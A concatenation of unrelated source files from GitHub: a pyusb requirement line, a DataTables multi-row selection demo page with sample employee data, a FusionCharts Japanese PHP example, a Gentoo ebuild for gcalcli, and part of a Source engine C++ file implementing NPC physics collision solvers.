pyusb==1.0.2
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<link rel="shortcut icon" type="image/ico" href="http://www.datatables.net/favicon.ico">
<meta name="viewport" content="initial-scale=1.0, maximum-scale=2.0">
<title>TableTools example - Row selection - multi-row select</title>
<link rel="stylesheet" type="text/css" href="../../../media/css/jquery.dataTables.css">
<link rel="stylesheet" type="text/css" href="../css/dataTables.tableTools.css">
<link rel="stylesheet" type="text/css" href="../../../examples/resources/syntax/shCore.css">
<link rel="stylesheet" type="text/css" href="../../../examples/resources/demo.css">
<style type="text/css" class="init">
</style>
<script type="text/javascript" language="javascript" src="../../../media/js/jquery.js"></script>
<script type="text/javascript" language="javascript" src="../../../media/js/jquery.dataTables.js"></script>
<script type="text/javascript" language="javascript" src="../js/dataTables.tableTools.js"></script>
<script type="text/javascript" language="javascript" src="../../../examples/resources/syntax/shCore.js"></script>
<script type="text/javascript" language="javascript" src="../../../examples/resources/demo.js"></script>
<script type="text/javascript" language="javascript" class="init">
$(document).ready(function() {
$('#example').DataTable( {
dom: 'T<"clear">lfrtip',
tableTools: {
"sRowSelect": "multi",
"aButtons": [ "select_all", "select_none" ]
}
} );
} );
</script>
</head>
<body class="dt-example">
<div class="container">
<section>
<h1>TableTools example <span>Row selection - multi-row select</span></h1>
<div class="info">
<p>As well as providing a button toolbar, TableTools provides everything needed to have selectable rows in the table. TableTools has four row selection modes of
operation:</p>
<ul class="markdown">
<li><code>none</code> - Default, where no user row selection options are available</li>
<li><code>single</code> - A single row can be selected</li>
<li><code>multi</code> - Multiple rows can be selected simply by clicking on the rows</li>
<li><code>os</code> - Operating System like selection where you can use the shift and ctrl / cmd keys on your keyboard to add / remove rows from the
selection.</li>
</ul>
<p>This example shows the <code>multi</code> select option. There are also a number of <a href="http://datatables.net/extras/tabletools/buttons">pre-defined
buttons</a> to provide functions such as select-all and select-none, as shown in this example.</p>
</div>
<table id="example" class="display" cellspacing="0" width="100%">
<thead>
<tr>
<th>Name</th>
<th>Position</th>
<th>Office</th>
<th>Age</th>
<th>Start date</th>
<th>Salary</th>
</tr>
</thead>
<tfoot>
<tr>
<th>Name</th>
<th>Position</th>
<th>Office</th>
<th>Age</th>
<th>Start date</th>
<th>Salary</th>
</tr>
</tfoot>
<tbody>
<tr>
<td>Tiger Nixon</td>
<td>System Architect</td>
<td>Edinburgh</td>
<td>61</td>
<td>2011/04/25</td>
<td>$320,800</td>
</tr>
<tr>
<td>Garrett Winters</td>
<td>Accountant</td>
<td>Tokyo</td>
<td>63</td>
<td>2011/07/25</td>
<td>$170,750</td>
</tr>
<tr>
<td>Ashton Cox</td>
<td>Junior Technical Author</td>
<td>San Francisco</td>
<td>66</td>
<td>2009/01/12</td>
<td>$86,000</td>
</tr>
<tr>
<td>Cedric Kelly</td>
<td>Senior Javascript Developer</td>
<td>Edinburgh</td>
<td>22</td>
<td>2012/03/29</td>
<td>$433,060</td>
</tr>
<tr>
<td>Airi Satou</td>
<td>Accountant</td>
<td>Tokyo</td>
<td>33</td>
<td>2008/11/28</td>
<td>$162,700</td>
</tr>
<tr>
<td>Brielle Williamson</td>
<td>Integration Specialist</td>
<td>New York</td>
<td>61</td>
<td>2012/12/02</td>
<td>$372,000</td>
</tr>
<tr>
<td>Herrod Chandler</td>
<td>Sales Assistant</td>
<td>San Francisco</td>
<td>59</td>
<td>2012/08/06</td>
<td>$137,500</td>
</tr>
<tr>
<td>Rhona Davidson</td>
<td>Integration Specialist</td>
<td>Tokyo</td>
<td>55</td>
<td>2010/10/14</td>
<td>$327,900</td>
</tr>
<tr>
<td>Colleen Hurst</td>
<td>Javascript Developer</td>
<td>San Francisco</td>
<td>39</td>
<td>2009/09/15</td>
<td>$205,500</td>
</tr>
<tr>
<td>Sonya Frost</td>
<td>Software Engineer</td>
<td>Edinburgh</td>
<td>23</td>
<td>2008/12/13</td>
<td>$103,600</td>
</tr>
<tr>
<td>Jena Gaines</td>
<td>Office Manager</td>
<td>London</td>
<td>30</td>
<td>2008/12/19</td>
<td>$90,560</td>
</tr>
<tr>
<td>Quinn Flynn</td>
<td>Support Lead</td>
<td>Edinburgh</td>
<td>22</td>
<td>2013/03/03</td>
<td>$342,000</td>
</tr>
<tr>
<td>Charde Marshall</td>
<td>Regional Director</td>
<td>San Francisco</td>
<td>36</td>
<td>2008/10/16</td>
<td>$470,600</td>
</tr>
<tr>
<td>Haley Kennedy</td>
<td>Senior Marketing Designer</td>
<td>London</td>
<td>43</td>
<td>2012/12/18</td>
<td>$313,500</td>
</tr>
<tr>
<td>Tatyana Fitzpatrick</td>
<td>Regional Director</td>
<td>London</td>
<td>19</td>
<td>2010/03/17</td>
<td>$385,750</td>
</tr>
<tr>
<td>Michael Silva</td>
<td>Marketing Designer</td>
<td>London</td>
<td>66</td>
<td>2012/11/27</td>
<td>$198,500</td>
</tr>
<tr>
<td>Paul Byrd</td>
<td>Chief Financial Officer (CFO)</td>
<td>New York</td>
<td>64</td>
<td>2010/06/09</td>
<td>$725,000</td>
</tr>
<tr>
<td>Gloria Little</td>
<td>Systems Administrator</td>
<td>New York</td>
<td>59</td>
<td>2009/04/10</td>
<td>$237,500</td>
</tr>
<tr>
<td>Bradley Greer</td>
<td>Software Engineer</td>
<td>London</td>
<td>41</td>
<td>2012/10/13</td>
<td>$132,000</td>
</tr>
<tr>
<td>Dai Rios</td>
<td>Personnel Lead</td>
<td>Edinburgh</td>
<td>35</td>
<td>2012/09/26</td>
<td>$217,500</td>
</tr>
<tr>
<td>Jenette Caldwell</td>
<td>Development Lead</td>
<td>New York</td>
<td>30</td>
<td>2011/09/03</td>
<td>$345,000</td>
</tr>
<tr>
<td>Yuri Berry</td>
<td>Chief Marketing Officer (CMO)</td>
<td>New York</td>
<td>40</td>
<td>2009/06/25</td>
<td>$675,000</td>
</tr>
<tr>
<td>Caesar Vance</td>
<td>Pre-Sales Support</td>
<td>New York</td>
<td>21</td>
<td>2011/12/12</td>
<td>$106,450</td>
</tr>
<tr>
<td>Doris Wilder</td>
<td>Sales Assistant</td>
<td>Sidney</td>
<td>23</td>
<td>2010/09/20</td>
<td>$85,600</td>
</tr>
<tr>
<td>Angelica Ramos</td>
<td>Chief Executive Officer (CEO)</td>
<td>London</td>
<td>47</td>
<td>2009/10/09</td>
<td>$1,200,000</td>
</tr>
<tr>
<td>Gavin Joyce</td>
<td>Developer</td>
<td>Edinburgh</td>
<td>42</td>
<td>2010/12/22</td>
<td>$92,575</td>
</tr>
<tr>
<td>Jennifer Chang</td>
<td>Regional Director</td>
<td>Singapore</td>
<td>28</td>
<td>2010/11/14</td>
<td>$357,650</td>
</tr>
<tr>
<td>Brenden Wagner</td>
<td>Software Engineer</td>
<td>San Francisco</td>
<td>28</td>
<td>2011/06/07</td>
<td>$206,850</td>
</tr>
<tr>
<td>Fiona Green</td>
<td>Chief Operating Officer (COO)</td>
<td>San Francisco</td>
<td>48</td>
<td>2010/03/11</td>
<td>$850,000</td>
</tr>
<tr>
<td>Shou Itou</td>
<td>Regional Marketing</td>
<td>Tokyo</td>
<td>20</td>
<td>2011/08/14</td>
<td>$163,000</td>
</tr>
<tr>
<td>Michelle House</td>
<td>Integration Specialist</td>
<td>Sidney</td>
<td>37</td>
<td>2011/06/02</td>
<td>$95,400</td>
</tr>
<tr>
<td>Suki Burks</td>
<td>Developer</td>
<td>London</td>
<td>53</td>
<td>2009/10/22</td>
<td>$114,500</td>
</tr>
<tr>
<td>Prescott Bartlett</td>
<td>Technical Author</td>
<td>London</td>
<td>27</td>
<td>2011/05/07</td>
<td>$145,000</td>
</tr>
<tr>
<td>Gavin Cortez</td>
<td>Team Leader</td>
<td>San Francisco</td>
<td>22</td>
<td>2008/10/26</td>
<td>$235,500</td>
</tr>
<tr>
<td>Martena Mccray</td>
<td>Post-Sales support</td>
<td>Edinburgh</td>
<td>46</td>
<td>2011/03/09</td>
<td>$324,050</td>
</tr>
<tr>
<td>Unity Butler</td>
<td>Marketing Designer</td>
<td>San Francisco</td>
<td>47</td>
<td>2009/12/09</td>
<td>$85,675</td>
</tr>
<tr>
<td>Howard Hatfield</td>
<td>Office Manager</td>
<td>San Francisco</td>
<td>51</td>
<td>2008/12/16</td>
<td>$164,500</td>
</tr>
<tr>
<td>Hope Fuentes</td>
<td>Secretary</td>
<td>San Francisco</td>
<td>41</td>
<td>2010/02/12</td>
<td>$109,850</td>
</tr>
<tr>
<td>Vivian Harrell</td>
<td>Financial Controller</td>
<td>San Francisco</td>
<td>62</td>
<td>2009/02/14</td>
<td>$452,500</td>
</tr>
<tr>
<td>Timothy Mooney</td>
<td>Office Manager</td>
<td>London</td>
<td>37</td>
<td>2008/12/11</td>
<td>$136,200</td>
</tr>
<tr>
<td>Jackson Bradshaw</td>
<td>Director</td>
<td>New York</td>
<td>65</td>
<td>2008/09/26</td>
<td>$645,750</td>
</tr>
<tr>
<td>Olivia Liang</td>
<td>Support Engineer</td>
<td>Singapore</td>
<td>64</td>
<td>2011/02/03</td>
<td>$234,500</td>
</tr>
<tr>
<td>Bruno Nash</td>
<td>Software Engineer</td>
<td>London</td>
<td>38</td>
<td>2011/05/03</td>
<td>$163,500</td>
</tr>
<tr>
<td>Sakura Yamamoto</td>
<td>Support Engineer</td>
<td>Tokyo</td>
<td>37</td>
<td>2009/08/19</td>
<td>$139,575</td>
</tr>
<tr>
<td>Thor Walton</td>
<td>Developer</td>
<td>New York</td>
<td>61</td>
<td>2013/08/11</td>
<td>$98,540</td>
</tr>
<tr>
<td>Finn Camacho</td>
<td>Support Engineer</td>
<td>San Francisco</td>
<td>47</td>
<td>2009/07/07</td>
<td>$87,500</td>
</tr>
<tr>
<td>Serge Baldwin</td>
<td>Data Coordinator</td>
<td>Singapore</td>
<td>64</td>
<td>2012/04/09</td>
<td>$138,575</td>
</tr>
<tr>
<td>Zenaida Frank</td>
<td>Software Engineer</td>
<td>New York</td>
<td>63</td>
<td>2010/01/04</td>
<td>$125,250</td>
</tr>
<tr>
<td>Zorita Serrano</td>
<td>Software Engineer</td>
<td>San Francisco</td>
<td>56</td>
<td>2012/06/01</td>
<td>$115,000</td>
</tr>
<tr>
<td>Jennifer Acosta</td>
<td>Junior Javascript Developer</td>
<td>Edinburgh</td>
<td>43</td>
<td>2013/02/01</td>
<td>$75,650</td>
</tr>
<tr>
<td>Cara Stevens</td>
<td>Sales Assistant</td>
<td>New York</td>
<td>46</td>
<td>2011/12/06</td>
<td>$145,600</td>
</tr>
<tr>
<td>Hermione Butler</td>
<td>Regional Director</td>
<td>London</td>
<td>47</td>
<td>2011/03/21</td>
<td>$356,250</td>
</tr>
<tr>
<td>Lael Greer</td>
<td>Systems Administrator</td>
<td>London</td>
<td>21</td>
<td>2009/02/27</td>
<td>$103,500</td>
</tr>
<tr>
<td>Jonas Alexander</td>
<td>Developer</td>
<td>San Francisco</td>
<td>30</td>
<td>2010/07/14</td>
<td>$86,500</td>
</tr>
<tr>
<td>Shad Decker</td>
<td>Regional Director</td>
<td>Edinburgh</td>
<td>51</td>
<td>2008/11/13</td>
<td>$183,000</td>
</tr>
<tr>
<td>Michael Bruce</td>
<td>Javascript Developer</td>
<td>Singapore</td>
<td>29</td>
<td>2011/06/27</td>
<td>$183,000</td>
</tr>
<tr>
<td>Donna Snider</td>
<td>Customer Support</td>
<td>New York</td>
<td>27</td>
<td>2011/01/25</td>
<td>$112,000</td>
</tr>
</tbody>
</table>
<ul class="tabs">
<li class="active">Javascript</li>
<li>HTML</li>
<li>CSS</li>
<li>Ajax</li>
<li>Server-side script</li>
</ul>
<div class="tabs">
<div class="js">
<p>The Javascript shown below is used to initialise the table shown in this example:</p><code class="multiline language-js">$(document).ready(function() {
$('#example').DataTable( {
dom: 'T<"clear">lfrtip',
tableTools: {
"sRowSelect": "multi",
"aButtons": [ "select_all", "select_none" ]
}
} );
} );</code>
<p>In addition to the above code, the following Javascript library files are loaded for use in this example:</p>
<ul>
<li><a href="../../../media/js/jquery.js">../../../media/js/jquery.js</a></li>
<li><a href="../../../media/js/jquery.dataTables.js">../../../media/js/jquery.dataTables.js</a></li>
<li><a href="../js/dataTables.tableTools.js">../js/dataTables.tableTools.js</a></li>
</ul>
</div>
<div class="table">
<p>The HTML shown below is the raw HTML table element, before it has been enhanced by DataTables:</p>
</div>
<div class="css">
<div>
<p>This example uses a little bit of additional CSS beyond what is loaded from the library files (below), in order to correctly display the table. The
additional CSS used is shown below:</p><code class="multiline language-css"></code>
</div>
<p>The following CSS library files are loaded for use in this example to provide the styling of the table:</p>
<ul>
<li><a href="../../../media/css/jquery.dataTables.css">../../../media/css/jquery.dataTables.css</a></li>
<li><a href="../css/dataTables.tableTools.css">../css/dataTables.tableTools.css</a></li>
</ul>
</div>
<div class="ajax">
<p>This table loads data by Ajax. The latest data that has been loaded is shown below. This data will update automatically as any additional data is
loaded.</p>
</div>
<div class="php">
<p>The script used to perform the server-side processing for this table is shown below. Please note that this is just an example script using PHP. Server-side
processing scripts can be written in any language, using <a href="//datatables.net/manual/server-side">the protocol described in the DataTables
documentation</a>.</p>
</div>
</div>
</section>
</div>
<section>
<div class="footer">
<div class="gradient"></div>
<div class="liner">
<h2>Other examples</h2>
<div class="toc">
<div class="toc-group">
<h3><a href="./index.html">Examples</a></h3>
<ul class="toc active">
<li><a href="./simple.html">Basic initialisation</a></li>
<li><a href="./swf_path.html">Setting the SWF path</a></li>
<li><a href="./new_init.html">Initialisation with `new`</a></li>
<li><a href="./defaults.html">Defaults</a></li>
<li><a href="./select_single.html">Row selection - single row select</a></li>
<li class="active"><a href="./select_multi.html">Row selection - multi-row select</a></li>
<li><a href="./select_os.html">Row selection - operating system style</a></li>
<li><a href="./select_column.html">Row selection - row selector on specific cells</a></li>
<li><a href="./multiple_tables.html">Multiple tables</a></li>
<li><a href="./multi_instance.html">Multiple toolbars</a></li>
<li><a href="./collection.html">Button collections</a></li>
<li><a href="./plug-in.html">Plug-in button types</a></li>
<li><a href="./button_text.html">Custom button text</a></li>
<li><a href="./alter_buttons.html">Button arrangement</a></li>
<li><a href="./ajax.html">Ajax loaded data</a></li>
<li><a href="./pdf_message.html">PDF message</a></li>
<li><a href="./bootstrap.html">Bootstrap styling</a></li>
<li><a href="./jqueryui.html">jQuery UI styling</a></li>
</ul>
</div>
</div>
<div class="epilogue">
<p>Please refer to the <a href="http://www.datatables.net">DataTables documentation</a> for full information about its API properties and methods.<br>
Additionally, there are a wide range of <a href="http://www.datatables.net/extras">extras</a> and <a href="http://www.datatables.net/plug-ins">plug-ins</a>
which extend the capabilities of DataTables.</p>
<p class="copyright">DataTables designed and created by <a href="http://www.sprymedia.co.uk">SpryMedia Ltd</a> © 2007-2015<br>
DataTables is licensed under the <a href="http://www.datatables.net/mit">MIT license</a>.</p>
</div>
</div>
</div>
</section>
</body>
</html> | {
"pile_set_name": "Github"
} |
<?php
//We've included ../Includes/FusionCharts.php, which contains functions
//to help us easily embed the charts.
include("../Includes/FusionCharts.php");
?>
<HTML>
<HEAD>
<TITLE>
FusionCharts Free - UTF8 日本語 (Japanese) Example
</TITLE>
<?php
//You need to include the following JS file, if you intend to embed the chart using JavaScript.
//Embedding using JavaScripts avoids the "Click to Activate..." issue in Internet Explorer
//When you make your own charts, make sure that the path to this JS file is correct. Else, you
//would get JavaScript errors.
?>
<SCRIPT LANGUAGE="Javascript" SRC="../../FusionCharts/FusionCharts.js"></SCRIPT>
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
</HEAD>
<BODY>
<CENTER>
<h2><a href="http://www.fusioncharts.com" target="_blank">FusionCharts Free</a> UTF8 日本語 (Japanese) Example</h2>
<h4>Basic example using pre-built JapaneseData.xml</h4>
<?php
/*
In this example, we show how to use UTF characters in charts created with FusionCharts
Here, the XML data for the chart is present in Data/JapaneseData.xml.
The xml file should be created and saved with an editor
which places the UTF8 BOM. The first line of the xml should contain the
xml declaration like this: <?xml version="1.0" encoding="UTF-8" ?>
*/
//Create the chart - Column 3D Chart with data from Data/JapaneseData.xml
echo renderChart("../../FusionCharts/FCF_Column3D.swf", "Data/JapaneseData.xml", "", "JapaneseChart", 600, 300);
?>
<BR><BR>
<a href='../NoChart.html' target="_blank">Unable to see the chart above?</a>
<H5 ><a href='../default.htm'>« Back to list of examples</a></h5>
</CENTER>
</BODY>
</HTML>
| {
"pile_set_name": "Github"
} |
# Copyright 1999-2020 Gentoo Authors
# Distributed under the terms of the GNU General Public License v2
EAPI=7
# parsedatetime doesn't support pypy
PYTHON_COMPAT=( python{3_6,3_7} )
inherit distutils-r1
MY_PV="4.2.0"
DESCRIPTION="Google Calendar Command Line Interface"
HOMEPAGE="https://github.com/insanum/gcalcli"
SRC_URI="https://github.com/insanum/gcalcli/archive/v${MY_PV}.tar.gz -> ${P}.tar.gz"
LICENSE="MIT"
SLOT="0"
KEYWORDS="~amd64 ~x86"
IUSE=""
REQUIRED_USE="${PYTHON_REQUIRED_USE}"
RDEPEND="${PYTHON_DEPS}
>=dev-python/google-api-python-client-1.5.3[${PYTHON_USEDEP}]
dev-python/parsedatetime[${PYTHON_USEDEP}]
dev-python/python-dateutil[${PYTHON_USEDEP}]
dev-python/python-gflags[${PYTHON_USEDEP}]
dev-python/vobject[${PYTHON_USEDEP}]"
DEPEND="${RDEPEND}"
S="${WORKDIR}/gcalcli-${MY_PV}"
src_install() {
dodoc -r ChangeLog README.md docs
distutils-r1_src_install
}
| {
"pile_set_name": "Github"
} |
//========= Copyright Valve Corporation, All rights reserved. ============//
//
// Purpose:
//
//=============================================================================//
#include "cbase.h"
#include "physics_saverestore.h"
#include "vphysics/friction.h"
#include "ai_basenpc.h"
#include "movevars_shared.h"
// memdbgon must be the last include file in a .cpp file!!!
#include "tier0/memdbgon.h"
class CPhysicsNPCSolver : public CLogicalEntity, public IMotionEvent
{
DECLARE_CLASS( CPhysicsNPCSolver, CLogicalEntity );
public:
CPhysicsNPCSolver();
~CPhysicsNPCSolver();
DECLARE_DATADESC();
void Init( CAI_BaseNPC *pNPC, CBaseEntity *pPhysicsObject, bool disableCollisions, float separationTime );
static CPhysicsNPCSolver *Create( CAI_BaseNPC *pNPC, CBaseEntity *pPhysicsObject, bool disableCollisions, float separationTime );
// CBaseEntity
virtual void Spawn();
virtual void UpdateOnRemove();
virtual void Think();
virtual void OnRestore()
{
BaseClass::OnRestore();
if ( m_allowIntersection )
{
PhysDisableEntityCollisions( m_hNPC, m_hEntity );
}
}
// IMotionEvent
virtual simresult_e Simulate( IPhysicsMotionController *pController, IPhysicsObject *pObject, float deltaTime, Vector &linear, AngularImpulse &angular );
public:
CPhysicsNPCSolver *m_pNext;
private:
// locals
void ResetCancelTime();
void BecomePenetrationSolver();
bool IsIntersecting();
bool IsContactOnNPCHead( IPhysicsFrictionSnapshot *pSnapshot, IPhysicsObject *pPhysics, CAI_BaseNPC *pNPC );
bool CheckTouching();
friend bool NPCPhysics_SolverExists( CAI_BaseNPC *pNPC, CBaseEntity *pPhysicsObject );
CHandle<CAI_BaseNPC> m_hNPC;
EHANDLE m_hEntity;
IPhysicsMotionController *m_pController;
float m_separationDuration;
float m_cancelTime;
bool m_allowIntersection;
};
LINK_ENTITY_TO_CLASS( physics_npc_solver, CPhysicsNPCSolver );
BEGIN_DATADESC( CPhysicsNPCSolver )
DEFINE_FIELD( m_hNPC, FIELD_EHANDLE ),
DEFINE_FIELD( m_hEntity, FIELD_EHANDLE ),
DEFINE_FIELD( m_separationDuration, FIELD_FLOAT ),
DEFINE_FIELD( m_cancelTime, FIELD_TIME ),
DEFINE_FIELD( m_allowIntersection, FIELD_BOOLEAN ),
DEFINE_PHYSPTR( m_pController ),
//DEFINE_FIELD( m_pNext, FIELD_CLASSPTR ),
END_DATADESC()
CEntityClassList<CPhysicsNPCSolver> g_SolverList;
template <> CPhysicsNPCSolver *CEntityClassList<CPhysicsNPCSolver>::m_pClassList = NULL;
bool NPCPhysics_SolverExists( CAI_BaseNPC *pNPC, CBaseEntity *pPhysicsObject )
{
CPhysicsNPCSolver *pSolver = g_SolverList.m_pClassList;
while ( pSolver )
{
if ( pSolver->m_hEntity == pPhysicsObject && pSolver->m_hNPC == pNPC )
return true;
pSolver = pSolver->m_pNext;
}
return false;
}
CPhysicsNPCSolver *CPhysicsNPCSolver::Create( CAI_BaseNPC *pNPC, CBaseEntity *pPhysicsObject, bool disableCollisions, float separationTime )
{
CPhysicsNPCSolver *pSolver = (CPhysicsNPCSolver *)CBaseEntity::CreateNoSpawn( "physics_npc_solver", vec3_origin, vec3_angle, NULL );
pSolver->Init( pNPC, pPhysicsObject, disableCollisions, separationTime );
pSolver->Spawn();
//NDebugOverlay::EntityBounds(pNPC, 255, 255, 0, 64, 0.5f );
return pSolver;
}
CPhysicsNPCSolver::CPhysicsNPCSolver()
{
g_SolverList.Insert( this );
}
CPhysicsNPCSolver::~CPhysicsNPCSolver()
{
g_SolverList.Remove( this );
}
void CPhysicsNPCSolver::Init( CAI_BaseNPC *pNPC, CBaseEntity *pPhysicsObject, bool disableCollisions, float separationTime )
{
m_hNPC = pNPC;
m_hEntity = pPhysicsObject;
m_pController = NULL;
m_separationDuration = separationTime;
m_allowIntersection = disableCollisions;
}
void CPhysicsNPCSolver::ResetCancelTime()
{
m_cancelTime = gpGlobals->curtime + m_separationDuration;
SetNextThink( m_cancelTime );
}
void CPhysicsNPCSolver::BecomePenetrationSolver()
{
CBaseEntity *pEntity = m_hEntity.Get();
if ( pEntity )
{
m_allowIntersection = true;
IPhysicsObject *pList[VPHYSICS_MAX_OBJECT_LIST_COUNT];
int listCount = pEntity->VPhysicsGetObjectList( pList, ARRAYSIZE(pList) );
PhysDisableEntityCollisions( m_hNPC, pEntity );
m_pController = physenv->CreateMotionController( this );
for ( int i = 0; i < listCount; i++ )
{
m_pController->AttachObject( pList[i], false );
pList[i]->Wake();
}
m_pController->SetPriority( IPhysicsMotionController::HIGH_PRIORITY );
}
}
void CPhysicsNPCSolver::Spawn()
{
if ( m_allowIntersection )
{
BecomePenetrationSolver();
}
else
{
m_hEntity->SetNavIgnore();
}
ResetCancelTime();
}
void CPhysicsNPCSolver::UpdateOnRemove()
{
if ( m_allowIntersection )
{
physenv->DestroyMotionController( m_pController );
m_pController = NULL;
PhysEnableEntityCollisions( m_hNPC, m_hEntity );
}
else
{
if ( m_hEntity.Get() )
{
m_hEntity->ClearNavIgnore();
}
}
//NDebugOverlay::EntityBounds(m_hNPC, 0, 255, 0, 64, 0.5f );
BaseClass::UpdateOnRemove();
}
bool CPhysicsNPCSolver::IsIntersecting()
{
CAI_BaseNPC *pNPC = m_hNPC.Get();
CBaseEntity *pPhysics = m_hEntity.Get();
if ( pNPC && pPhysics )
{
Ray_t ray;
// bloated bounds to force slight separation
Vector mins = pNPC->WorldAlignMins() - Vector(1,1,1);
Vector maxs = pNPC->WorldAlignMaxs() + Vector(1,1,1);
ray.Init( pNPC->GetAbsOrigin(), pNPC->GetAbsOrigin(), mins, maxs );
trace_t tr;
enginetrace->ClipRayToEntity( ray, pNPC->PhysicsSolidMaskForEntity(), pPhysics, &tr );
if ( tr.startsolid )
return true;
}
return false;
}
bool CPhysicsNPCSolver::IsContactOnNPCHead( IPhysicsFrictionSnapshot *pSnapshot, IPhysicsObject *pPhysics, CAI_BaseNPC *pNPC )
{
float heightCheck = pNPC->GetAbsOrigin().z + pNPC->GetHullMaxs().z;
Vector vel, point;
pPhysics->GetVelocity( &vel, NULL );
pSnapshot->GetContactPoint( point );
// don't care if the object is already moving away
if ( vel.LengthSqr() < 10.0f*10.0f )
{
float topdist = fabs(point.z-heightCheck);
if ( topdist < 2.0f )
{
return true;
}
}
return false;
}
bool CPhysicsNPCSolver::CheckTouching()
{
CAI_BaseNPC *pNPC = m_hNPC.Get();
if ( !pNPC )
return false;
CBaseEntity *pPhysicsEnt = m_hEntity.Get();
if ( !pPhysicsEnt )
return false;
IPhysicsObject *pPhysics = pPhysicsEnt->VPhysicsGetObject();
IPhysicsObject *pNPCPhysics = pNPC->VPhysicsGetObject();
if ( !pNPCPhysics || !pPhysics )
return false;
IPhysicsFrictionSnapshot *pSnapshot = pPhysics->CreateFrictionSnapshot();
bool found = false;
bool penetrate = false;
while ( pSnapshot->IsValid() )
{
IPhysicsObject *pOther = pSnapshot->GetObject(1);
if ( pOther == pNPCPhysics )
{
found = true;
if ( IsContactOnNPCHead(pSnapshot, pPhysics, pNPC ) )
{
penetrate = true;
pSnapshot->MarkContactForDelete();
}
break;
}
pSnapshot->NextFrictionData();
}
pSnapshot->DeleteAllMarkedContacts( true );
pPhysics->DestroyFrictionSnapshot( pSnapshot );
// if the object is penetrating something, check to see if it's intersecting this NPC
// if so, go ahead and switch over to penetration solver mode
if ( !penetrate && (pPhysics->GetGameFlags() & FVPHYSICS_PENETRATING) )
{
penetrate = IsIntersecting();
}
if ( penetrate )
{
pPhysicsEnt->ClearNavIgnore();
BecomePenetrationSolver();
}
return found;
}
void CPhysicsNPCSolver::Think()
{
bool finished = m_allowIntersection ? !IsIntersecting() : !CheckTouching();
if ( finished )
{
UTIL_Remove(this);
return;
}
if ( m_allowIntersection )
{
IPhysicsObject *pObject = m_hEntity->VPhysicsGetObject();
if ( !pObject )
{
UTIL_Remove(this);
return;
}
pObject->Wake();
}
ResetCancelTime();
}
IMotionEvent::simresult_e CPhysicsNPCSolver::Simulate( IPhysicsMotionController *pController, IPhysicsObject *pObject,
float deltaTime, Vector &linear, AngularImpulse &angular )
{
if ( IsIntersecting() )
{
const float PUSH_SPEED = 150.0f;
if ( pObject->GetGameFlags() & FVPHYSICS_PLAYER_HELD )
{
CBasePlayer *pPlayer = UTIL_GetLocalPlayer();
if ( pPlayer )
{
pPlayer->ForceDropOfCarriedPhysObjects( m_hEntity );
}
}
ResetCancelTime();
angular.Init();
linear.Init();
// Don't push on vehicles because they won't move
if ( pObject->GetGameFlags() & FVPHYSICS_MULTIOBJECT_ENTITY )
{
if ( m_hEntity->GetServerVehicle() )
return SIM_NOTHING;
}
Vector origin, vel;
pObject->GetPosition( &origin, NULL );
pObject->GetVelocity( &vel, NULL );
Vector dir = origin - m_hNPC->GetAbsOrigin();
dir.z = dir.z > 0 ? 0.1f : -0.1f;
VectorNormalize(dir);
AngularImpulse angVel;
angVel.Init();
// NOTE: Iterate this object's contact points
// if it can't move in this direction, try sliding along the plane/crease
Vector pushImpulse;
PhysComputeSlideDirection( pObject, dir * PUSH_SPEED, angVel, &pushImpulse, NULL, 0 );
dir = pushImpulse;
VectorNormalize(dir);
if ( DotProduct( vel, dir ) < PUSH_SPEED * 0.5f )
{
linear = pushImpulse;
if ( pObject->GetContactPoint(NULL,NULL) )
{
linear.z += GetCurrentGravity();
}
}
return SIM_GLOBAL_ACCELERATION;
}
return SIM_NOTHING;
}
CBaseEntity *NPCPhysics_CreateSolver( CAI_BaseNPC *pNPC, CBaseEntity *pPhysicsObject, bool disableCollisions, float separationDuration )
{
if ( disableCollisions )
{
if ( PhysEntityCollisionsAreDisabled( pNPC, pPhysicsObject ) )
return NULL;
}
else
{
if ( pPhysicsObject->IsNavIgnored() )
return NULL;
}
return CPhysicsNPCSolver::Create( pNPC, pPhysicsObject, disableCollisions, separationDuration );
}
class CPhysicsEntitySolver : public CLogicalEntity//, public IMotionEvent
{
DECLARE_CLASS( CPhysicsEntitySolver, CLogicalEntity );
public:
DECLARE_DATADESC();
void Init( CBaseEntity *pMovingEntity, CBaseEntity *pPhysicsBlocker, float separationTime );
static CPhysicsEntitySolver *Create( CBaseEntity *pMovingEntity, CBaseEntity *pPhysicsBlocker, float separationTime );
// CBaseEntity
virtual void Spawn();
virtual void UpdateOnRemove();
virtual void Think();
// IMotionEvent
//virtual simresult_e Simulate( IPhysicsMotionController *pController, IPhysicsObject *pObject, float deltaTime, Vector &linear, AngularImpulse &angular );
private:
// locals
void ResetCancelTime();
void BecomePenetrationSolver();
//bool IsIntersecting();
//bool IsTouching();
EHANDLE m_hMovingEntity;
EHANDLE m_hPhysicsBlocker;
//IPhysicsMotionController *m_pController;
float m_separationDuration;
float m_cancelTime;
int m_savedCollisionGroup;
};
LINK_ENTITY_TO_CLASS( physics_entity_solver, CPhysicsEntitySolver );
BEGIN_DATADESC( CPhysicsEntitySolver )
DEFINE_FIELD( m_hMovingEntity, FIELD_EHANDLE ),
DEFINE_FIELD( m_hPhysicsBlocker, FIELD_EHANDLE ),
DEFINE_FIELD( m_separationDuration, FIELD_FLOAT ),
DEFINE_FIELD( m_cancelTime, FIELD_TIME ),
DEFINE_FIELD( m_savedCollisionGroup, FIELD_INTEGER ),
//DEFINE_PHYSPTR( m_pController ),
END_DATADESC()
CPhysicsEntitySolver *CPhysicsEntitySolver::Create( CBaseEntity *pMovingEntity, CBaseEntity *pPhysicsBlocker, float separationTime )
{
CPhysicsEntitySolver *pSolver = (CPhysicsEntitySolver *)CBaseEntity::CreateNoSpawn( "physics_entity_solver", vec3_origin, vec3_angle, NULL );
pSolver->Init( pMovingEntity, pPhysicsBlocker, separationTime );
pSolver->Spawn();
//NDebugOverlay::EntityBounds(pNPC, 255, 255, 0, 64, 0.5f );
return pSolver;
}
void CPhysicsEntitySolver::Init( CBaseEntity *pMovingEntity, CBaseEntity *pPhysicsBlocker, float separationTime )
{
m_hMovingEntity = pMovingEntity;
m_hPhysicsBlocker = pPhysicsBlocker;
//m_pController = NULL;
m_separationDuration = separationTime;
}
void CPhysicsEntitySolver::Spawn()
{
SetNextThink( gpGlobals->curtime + m_separationDuration );
PhysDisableEntityCollisions( m_hMovingEntity, m_hPhysicsBlocker );
m_savedCollisionGroup = m_hPhysicsBlocker->GetCollisionGroup();
